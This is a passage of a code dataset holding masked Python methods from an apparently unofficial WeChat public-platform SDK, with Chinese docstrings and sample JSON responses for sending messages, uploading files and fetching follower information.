\"succ\": 0,\n                        \"total\": 0\n                    },\n                    \"refuse_reason\": \"\",\n                    \"type\": 1,\n                    \"id\": 206439567\n                },\n                {\n                    \"date_time\": 1408529750,\n                    \"send_stat\": {\n                        \"fail\": 0,\n                        \"succ\": 0,\n                        \"total\": 0\n                    },\n                    \"app_sub_type\": 3,\n                    \"multi_item\": [\n                        {\n                            \"seq\": 0,\n                            \"title\": \"\u8f6f\u4ef6\u4f01\u4e1a\u6709\u671b\u62ce\u5305\u5165\u4f4f\u65b0\u7586\u8f6f\u4ef6\u56ed\",\n                            \"show_cover_pic\": 1,\n                            \"author\": \"\",\n                            \"cover\": \"https://mmbiz.qlogo.cn/mmbiz/D2pflbZwStFibz2Sb1kWOuHrxtDMPKJic3oErGEhSicRQc82icibxZOZ2YAGNgiaGYfOFYppmPzOOS0v1xfZ1nvyT58g/0\",\n                            \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204885255&idx=1&sn=40e07d236a497e36d2d3e9711dfe090a#rd\",\n                            \"source_url\": \"\",\n                            \"content\": \"\",\n                            \"file_id\": 204885252,\n                            \"vote_id\": [ ],\n                            \"digest\": \"12\u67088\u65e5\uff0c\u56fd\u5bb6\u8f6f\u4ef6\u516c\u5171\u670d\u52a1\u5e73\u53f0\u65b0\u7586\u5206\u5e73\u53f0\u5728\u4e4c\u9c81\u6728\u9f50\u7ecf\u6d4e\u6280\u672f\u5f00\u53d1\u533a\uff08\u5934\u5c6f\u6cb3\u533a\uff09\u63ed\u724c\u3002\u8fd9\u610f\u5473\u7740\uff0c\u8f6f\u4ef6\u4f01\u4e1a\u6709\"\n                        }\n                    ],\n                    \"msg_status\": 2,\n                    \"title\": \"\u8f6f\u4ef6\u4f01\u4e1a\u6709\u671b\u62ce\u5305\u5165\u4f4f\u65b0\u7586\u8f6f\u4ef6\u56ed\",\n                    \"nick_name\": \"Doraemonext\",\n                    \"to_uin\": 844735403,\n                    \"content_url\": \"http://mp.weixin.qq.com/s?__biz=MjM5MTA2ODcwOA==&mid=204885255&idx=1&sn=40e07d236a497e36d2d3e9711dfe090a#rd\",\n                    \"show_type\": 1,\n                    \"content\": \"\",\n                    \"source\": \"biz\",\n                    \"fakeid\": \"2391068708\",\n                    \"file_id\": 204885252,\n                    \"has_reply\": 0,\n                    \"refuse_reason\": \"\",\n                    \"type\": 6,\n                    \"id\": 206379033,\n                    \"desc\": \"12\u67088\u65e5\uff0c\u56fd\u5bb6\u8f6f\u4ef6\u516c\u5171\u670d\u52a1\u5e73\u53f0\u65b0\u7586\u5206\u5e73\u53f0\u5728\u4e4c\u9c81\u6728\u9f50\u7ecf\u6d4e\u6280\u672f\u5f00\u53d1\u533a\uff08\u5934\u5c6f\u6cb3\u533a\uff09\u63ed\u724c\u3002\u8fd9\u610f\u5473\u7740\uff0c\u8f6f\u4ef6\u4f01\u4e1a\u6709\"\n                }\n            ]\n        }\n    }\n\n:param fakeid: \u7528\u6237 UID (\u5373 fakeid )\n:param last_msgid: \u516c\u4f17\u53f7\u4e4b\u524d\u53d1\u9001\u7ed9\u7528\u6237(fakeid)\u7684\u6d88\u606f ID, \u4e3a 0 \u5219\u8868\u793a\u5168\u90e8\u6d88\u606f\n:param create_time: \u83b7\u53d6\u8fd9\u4e2a\u65f6\u95f4\u6233\u4e4b\u65f6\u53ca\u4e4b\u540e\u7684\u6d88\u606f\uff0c\u4e3a 0 \u5219\u8868\u793a\u5168\u90e8\u6d88\u606f\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m10"}
{"signature": "def send_news(self, fakeid, msgid):", "body": "url = '<STR_LIT>'<EOL>payload = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:f>': '<STR_LIT>',<EOL>'<STR_LIT>': fakeid,<EOL>'<STR_LIT:type>': <NUM_LIT:10>,<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT>': msgid,<EOL>'<STR_LIT>': msgid,<EOL>'<STR_LIT:error>': '<STR_LIT:false>',<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': random.random(),<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>fakeid=fakeid,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.post(url, data=payload, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>try:<EOL><INDENT>if message['<STR_LIT>']['<STR_LIT>'] == <NUM_LIT> or message['<STR_LIT>']['<STR_LIT>'] == -<NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if message['<STR_LIT>']['<STR_LIT>'] == <NUM_LIT>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if message['<STR_LIT>']['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>", "docstring": "\u5411\u6307\u5b9a\u7528\u6237\u53d1\u9001\u56fe\u6587\u6d88\u606f \uff08\u5fc5\u987b\u4ece\u56fe\u6587\u5e93\u91cc\u9009\u53d6\u6d88\u606fID\u4f20\u5165)\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid)\n:param msgid: \u56fe\u6587\u6d88\u606f ID\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u5177\u4f53\u5185\u5bb9\u6709 ``fake id not exist`` \u53ca ``message id not exist``", "id": "f584:c0:m11"}
{"signature": "def add_news(self, news):", "body": "if not news:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>for item in news:<EOL><INDENT>if '<STR_LIT:title>' not in item or '<STR_LIT:content>' not in item:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>url = '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>)<EOL>payload = {<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT:type>': <NUM_LIT:10>,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:error>': '<STR_LIT:false>',<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>i = <NUM_LIT:0><EOL>for item in news:<EOL><INDENT>payload['<STR_LIT:title>'+str(i)] = item.get('<STR_LIT:title>')<EOL>payload['<STR_LIT>'+str(i)] = item.get('<STR_LIT>')<EOL>payload['<STR_LIT>'+str(i)] = item.get('<STR_LIT>')<EOL>payload['<STR_LIT:content>'+str(i)] = item.get('<STR_LIT:content>')<EOL>payload['<STR_LIT>'+str(i)] = item.get('<STR_LIT>')<EOL>payload['<STR_LIT>'+str(i)] = item.get('<STR_LIT>')<EOL>i += <NUM_LIT:1><EOL><DEDENT>payload['<STR_LIT:count>'] = i<EOL>r = requests.post(url, data=payload, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>try:<EOL><INDENT>if message['<STR_LIT>'] != '<STR_LIT:0>':<EOL><INDENT>raise ValueError(r.text)<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>", "docstring": "\u5728\u7d20\u6750\u5e93\u4e2d\u521b\u5efa\u56fe\u6587\u6d88\u606f\n\n:param news: list \u5bf9\u8c61, \u5176\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u4e3a\u4e00\u4e2a dict \u5bf9\u8c61, \u4ee3\u8868\u4e00\u6761\u56fe\u6587, key \u503c\u5206\u522b\u4e3a ``title``, ``author``, ``summary``,\n             ``content``, ``picture_id``, ``from_url``, \u5bf9\u5e94\u5185\u5bb9\u4e3a\u6807\u9898, \u4f5c\u8005, \u6458\u8981, \u5185\u5bb9, \u7d20\u6750\u5e93\u91cc\u7684\n             \u56fe\u7247ID(\u53ef\u901a\u8fc7 ``upload_file`` \u51fd\u6570\u4e0a\u4f20\u83b7\u53d6), \u6765\u6e90\u94fe\u63a5\u3002\n\n             \u5176\u4e2d\u5fc5\u987b\u63d0\u4f9b\u7684 key \u503c\u4e3a ``title`` \u548c ``content``\n\n             \u793a\u4f8b::\n\n                 [\n                     {\n                         'title': '\u56fe\u6587\u6807\u9898',\n                         'author': '\u56fe\u6587\u4f5c\u8005',\n                         'summary': '\u56fe\u6587\u6458\u8981',\n                         'content': '\u56fe\u6587\u5185\u5bb9',\n                         'picture_id': '23412341',\n                         'from_url': 'http://www.baidu.com',\n                     },\n                     {\n                         'title': '\u6700\u5c11\u56fe\u6587\u6807\u9898',\n                         'content': '\u56fe\u6587\u5185\u5bb9',\n                     }\n                 ]\n:raises ValueError: \u53c2\u6570\u63d0\u4f9b\u9519\u8bef\u65f6\u629b\u51fa\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m12"}
{"signature": "def upload_file(self, filepath):", "body": "self._init_ticket()<EOL>url = '<STR_LIT>'.format(<EOL>ticket_id=self.__ticket_id,<EOL>ticket=self.__ticket,<EOL>token=self.__token,<EOL>)<EOL>try:<EOL><INDENT>files = {'<STR_LIT:file>': open(filepath, '<STR_LIT:rb>')}<EOL><DEDENT>except IOError:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>payloads = {<EOL>'<STR_LIT>': filepath,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.post(url, files=files, data=payloads, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>try:<EOL><INDENT>if message['<STR_LIT>']['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(message['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message['<STR_LIT:content>']<EOL>", "docstring": "\u4e0a\u4f20\u7d20\u6750 (\u56fe\u7247/\u97f3\u9891/\u89c6\u9891)\n:param filepath: \u672c\u5730\u6587\u4ef6\u8def\u5f84\n:return: \u76f4\u63a5\u8fd4\u56de\u4e0a\u4f20\u540e\u7684\u6587\u4ef6 ID (fid)\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef (\u5e38\u89c1\u9519\u8bef\u5185\u5bb9: ``file not exist``: \u627e\u4e0d\u5230\u672c\u5730\u6587\u4ef6, ``audio too long``: \u97f3\u9891\u6587\u4ef6\u8fc7\u957f, ``file invalid type``: \u6587\u4ef6\u683c\u5f0f\u4e0d\u6b63\u786e, \u8fd8\u6709\u5176\u4ed6\u9519\u8bef\u8bf7\u81ea\u884c\u68c0\u67e5)", "id": "f584:c0:m13"}
{"signature": "def send_file(self, fakeid, fid, type):", "body": "if type == <NUM_LIT:4>:  <EOL><INDENT>type = <NUM_LIT:15><EOL><DEDENT>url = '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>)<EOL>payloads = {}<EOL>if type == <NUM_LIT:2> or type == <NUM_LIT:3>:  <EOL><INDENT>payloads = {<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:f>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': random.random(),<EOL>'<STR_LIT:type>': type,<EOL>'<STR_LIT>': fid,<EOL>'<STR_LIT>': fakeid,<EOL>'<STR_LIT>': fid,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL><DEDENT>elif type == <NUM_LIT:15>:  <EOL><INDENT>payloads = {<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT:f>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': random.random(),<EOL>'<STR_LIT:type>': type,<EOL>'<STR_LIT>': fid,<EOL>'<STR_LIT>': fakeid,<EOL>'<STR_LIT>': fid,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL><DEDENT>headers = {<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>fakeid=fakeid,<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>}<EOL>r = requests.post(url, data=payloads, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>try:<EOL><INDENT>if message['<STR_LIT>']['<STR_LIT>'] != <NUM_LIT:0>:<EOL><INDENT>raise ValueError(message['<STR_LIT>']['<STR_LIT>'])<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>", "docstring": "\u5411\u7279\u5b9a\u7528\u6237\u53d1\u9001\u5a92\u4f53\u6587\u4ef6\n:param fakeid: \u7528\u6237 UID (\u5373 fakeid)\n:param fid: \u6587\u4ef6 ID\n:param type: \u6587\u4ef6\u7c7b\u578b (2: \u56fe\u7247, 3: \u97f3\u9891, 15: \u89c6\u9891)\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef (\u5e38\u89c1\u9519\u8bef\u5185\u5bb9: ``system error`` \u6216 ``can not send this type of msg``: \u6587\u4ef6\u7c7b\u578b\u4e0d\u5339\u914d, ``user not exist``: \u7528\u6237 fakeid \u4e0d\u5b58\u5728, ``file not exist``: \u6587\u4ef6 fid \u4e0d\u5b58\u5728, \u8fd8\u6709\u5176\u4ed6\u9519\u8bef\u8bf7\u81ea\u884c\u68c0\u67e5)", "id": "f584:c0:m14"}
{"signature": "def get_file_list(self, type, page, count=<NUM_LIT:10>):", "body": "url = '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>type=type,<EOL>random=round(random.random(), <NUM_LIT:3>),<EOL>begin=page*count,<EOL>count=count,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>try:<EOL><INDENT>message = json.dumps(json.loads(r.text)['<STR_LIT>'], ensure_ascii=False)<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u7d20\u6750\u5e93\u6587\u4ef6\u5217\u8868\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n\n    {\n        \"type\": 2,\n        \"file_item\": [\n            {\n                \"update_time\": 1408723089,\n                \"name\": \"Doraemonext.png\",\n                \"play_length\": 0,\n                \"file_id\": 206471048,\n                \"type\": 2,\n                \"size\": \"53.7 K\"\n            },\n            {\n                \"update_time\": 1408722328,\n                \"name\": \"Doraemonext.png\",\n                \"play_length\": 0,\n                \"file_id\": 206470809,\n                \"type\": 2,\n                \"size\": \"53.7 K\"\n            }\n        ],\n        \"file_cnt\": {\n            \"voice_cnt\": 1,\n            \"app_msg_cnt\": 10,\n            \"commondity_msg_cnt\": 0,\n            \"video_cnt\": 0,\n            \"img_cnt\": 29,\n            \"video_msg_cnt\": 0,\n            \"total\": 40\n        }\n    }\n\n:param type: \u6587\u4ef6\u7c7b\u578b (2: \u56fe\u7247, 3: \u97f3\u9891, 4: \u89c6\u9891)\n:param page: \u9875\u7801 (\u4ece 0 \u5f00\u59cb)\n:param count: \u6bcf\u9875\u5927\u5c0f\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m15"}
{"signature": "def send_image(self, fakeid, fid):", "body": "return self.send_file(fakeid, fid, <NUM_LIT:2>)<EOL>", "docstring": "\u7ed9\u6307\u5b9a\u7528\u6237 fakeid \u53d1\u9001\u56fe\u7247\u4fe1\u606f\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid)\n:param fid: \u6587\u4ef6 ID\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef (\u5e38\u89c1\u9519\u8bef\u5185\u5bb9: ``system error`` \u6216 ``can not send this type of msg``: \u6587\u4ef6\u7c7b\u578b\u4e0d\u5339\u914d, ``user not exist``: \u7528\u6237 fakeid \u4e0d\u5b58\u5728, ``file not exist``: \u6587\u4ef6 fid \u4e0d\u5b58\u5728, \u8fd8\u6709\u5176\u4ed6\u9519\u8bef\u8bf7\u81ea\u884c\u68c0\u67e5)", "id": "f584:c0:m16"}
{"signature": "def send_audio(self, fakeid, fid):", "body": "return self.send_file(fakeid, fid, <NUM_LIT:3>)<EOL>", "docstring": "\u7ed9\u6307\u5b9a\u7528\u6237 fakeid \u53d1\u9001\u8bed\u97f3\u4fe1\u606f\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid)\n:param fid: \u6587\u4ef6 ID\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef (\u5e38\u89c1\u9519\u8bef\u5185\u5bb9: ``system error`` \u6216 ``can not send this type of msg``: \u6587\u4ef6\u7c7b\u578b\u4e0d\u5339\u914d, ``user not exist``: \u7528\u6237 fakeid \u4e0d\u5b58\u5728, ``file not exist``: \u6587\u4ef6 fid \u4e0d\u5b58\u5728, \u8fd8\u6709\u5176\u4ed6\u9519\u8bef\u8bf7\u81ea\u884c\u68c0\u67e5)", "id": "f584:c0:m17"}
{"signature": "def send_video(self, fakeid, fid):", "body": "return self.send_file(fakeid, fid, <NUM_LIT:15>)<EOL>", "docstring": "\u7ed9\u6307\u5b9a\u7528\u6237 fakeid \u53d1\u9001\u89c6\u9891\u6d88\u606f\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid)\n:param fid: \u6587\u4ef6 ID\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e\n:raises ValueError: \u53c2\u6570\u51fa\u9519, \u9519\u8bef\u539f\u56e0\u76f4\u63a5\u6253\u5370\u5f02\u5e38\u5373\u53ef (\u5e38\u89c1\u9519\u8bef\u5185\u5bb9: ``system error`` \u6216 ``can not send this type of msg``: \u6587\u4ef6\u7c7b\u578b\u4e0d\u5339\u914d, ``user not exist``: \u7528\u6237 fakeid \u4e0d\u5b58\u5728, ``file not exist``: \u6587\u4ef6 fid \u4e0d\u5b58\u5728, \u8fd8\u6709\u5176\u4ed6\u9519\u8bef\u8bf7\u81ea\u884c\u68c0\u67e5)", "id": "f584:c0:m18"}
{"signature": "def get_user_info(self, fakeid):", "body": "url = '<STR_LIT>'<EOL>payloads = {<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': round(random.random(), <NUM_LIT:3>),<EOL>'<STR_LIT>': self.__token,<EOL>'<STR_LIT:t>': '<STR_LIT>',<EOL>'<STR_LIT>': fakeid,<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.post(url, data=payloads, headers=headers)<EOL>try:<EOL><INDENT>message = json.dumps(json.loads(r.text)['<STR_LIT>'], ensure_ascii=False)<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u6307\u5b9a\u7528\u6237\u7684\u4e2a\u4eba\u4fe1\u606f\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n\n    {\n        \"province\": \"\u6e56\u5317\",\n        \"city\": \"\u6b66\u6c49\",\n        \"gender\": 1,\n        \"nick_name\": \"Doraemonext\",\n        \"country\": \"\u4e2d\u56fd\",\n        \"remark_name\": \"\",\n        \"fake_id\": 844735403,\n        \"signature\": \"\",\n        \"group_id\": 0,\n        \"user_name\": \"\"\n    }\n\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid)\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m19"}
{"signature": "def get_avatar(self, fakeid):", "body": "url = '<STR_LIT>'.format(<EOL>fakeid=fakeid,<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers, stream=True)<EOL>return r.raw.data<EOL>", "docstring": "\u83b7\u53d6\u7528\u6237\u5934\u50cf\u4fe1\u606f\n:param fakeid: \u7528\u6237\u7684 UID (\u5373 fakeid)\n:return: \u4e8c\u8fdb\u5236 JPG \u6570\u636e\u5b57\u7b26\u4e32, \u53ef\u76f4\u63a5\u4f5c\u4e3a File Object \u4e2d write \u7684\u53c2\u6570\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m20"}
{"signature": "def get_new_message_num(self, lastid=<NUM_LIT:0>):", "body": "url = '<STR_LIT>'.format(<EOL>lastid=lastid,<EOL>token=self.__token,<EOL>)<EOL>payloads = {<EOL>'<STR_LIT>': <NUM_LIT:1>,<EOL>'<STR_LIT:f>': '<STR_LIT>',<EOL>'<STR_LIT>': random.random(),<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': self.__token,<EOL>}<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(<EOL>token=self.__token,<EOL>),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, data=payloads, headers=headers)<EOL>try:<EOL><INDENT>return int(json.loads(r.text)['<STR_LIT>'])<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>", "docstring": "\u83b7\u53d6\u65b0\u6d88\u606f\u7684\u6570\u76ee\n:param lastid: \u6700\u8fd1\u83b7\u53d6\u7684\u6d88\u606f ID, \u4e3a 0 \u65f6\u83b7\u53d6\u603b\u6d88\u606f\u6570\u76ee\n:return: \u6d88\u606f\u6570\u76ee", "id": "f584:c0:m21"}
{"signature": "def get_top_message(self):", "body": "return self.get_message_list(count=<NUM_LIT:1>)<EOL>", "docstring": "\u83b7\u53d6\u6700\u65b0\u4e00\u6761\u6d88\u606f\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n\n    {\n        \"msg_item\": [\n            {\n                \"id\": 206448489,\n                \"type\": 2,\n                \"fakeid\": \"844735403\",\n                \"nick_name\": \"Doraemonext\",\n                \"date_time\": 1408696938,\n                \"source\": \"\",\n                \"msg_status\": 4,\n                \"has_reply\": 0,\n                \"refuse_reason\": \"\",\n                \"multi_item\": [ ],\n                \"to_uin\": 2391068708,\n                \"send_stat\": {\n                    \"total\": 0,\n                    \"succ\": 0,\n                    \"fail\": 0\n                }\n            }\n        ]\n    }\n\n:return: \u8fd4\u56de\u7684 JSON \u6570\u636e\n:raises NeedLoginError: \u64cd\u4f5c\u672a\u6267\u884c\u6210\u529f, \u9700\u8981\u518d\u6b21\u5c1d\u8bd5\u767b\u5f55, \u5f02\u5e38\u5185\u5bb9\u4e3a\u670d\u52a1\u5668\u8fd4\u56de\u7684\u9519\u8bef\u6570\u636e", "id": "f584:c0:m22"}
{"signature": "def get_message_list(self, lastid=<NUM_LIT:0>, offset=<NUM_LIT:0>, count=<NUM_LIT:20>, day=<NUM_LIT:7>, star=False):", "body": "if star:<EOL><INDENT>star_param = '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>star_param = '<STR_LIT>'<EOL><DEDENT>if lastid == <NUM_LIT:0>:<EOL><INDENT>lastid = '<STR_LIT>'<EOL><DEDENT>url = '<STR_LIT>'.format(<EOL>star=star_param,<EOL>count=count,<EOL>day=day,<EOL>lastid=lastid,<EOL>offset=offset,<EOL>token=self.__token,<EOL>)<EOL>headers = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'.format(token=self.__token),<EOL>'<STR_LIT>': self.__cookies,<EOL>}<EOL>r = requests.get(url, headers=headers)<EOL>try:<EOL><INDENT>message = json.loads(r.text)['<STR_LIT>']<EOL><DEDENT>except (KeyError, ValueError):<EOL><INDENT>raise NeedLoginError(r.text)<EOL><DEDENT>return message<EOL>", "docstring": "\u83b7\u53d6\u6d88\u606f\u5217\u8868\n\n\u8fd4\u56deJSON\u793a\u4f8b::\n    {\n        \"msg_item\": [\n            {\n                \"id\": 206439583,\n                \"type\": 1,\n                \"fakeid\": \"844735403\",\n                \"nick_name\": \"Doraemonext\",\n                \"date_time\": 1408671892,\n                \"content\": \"\u6d4b\u8bd5\u6d88\u606f\",\n                \"source\": \"\",\n                \"msg_status\": 4,\n                \"has_reply\": 0,\n                \"refuse_reason\": \"\",\n                \"multi_item\": [ ],\n                \"to_uin\": 2391068708,\n                \"send_stat\": {\n                    \"total\": 0,\n                    \"succ\": 0,\n                    \"fail\": 0\n                }\n            },\n            {\n                \"id\": 206439579,\n                \"type\": 1,\n                \"fakeid\": \"844735403\",\n                \"nick_name\": \"Doraemonext\",\n                \"date_time\": 1408671889,\n                \"content\": \"wechat-python-sdk\",\n                \"source\": \"\",\n                \"msg_status\": 4,\n                \"has_reply\": 0,\n                \"refuse_reason\": \"\",\n                \"multi_item\": [ ],\n                \"to_uin\": 2391068708,\n                \"send_stat\": {\n                    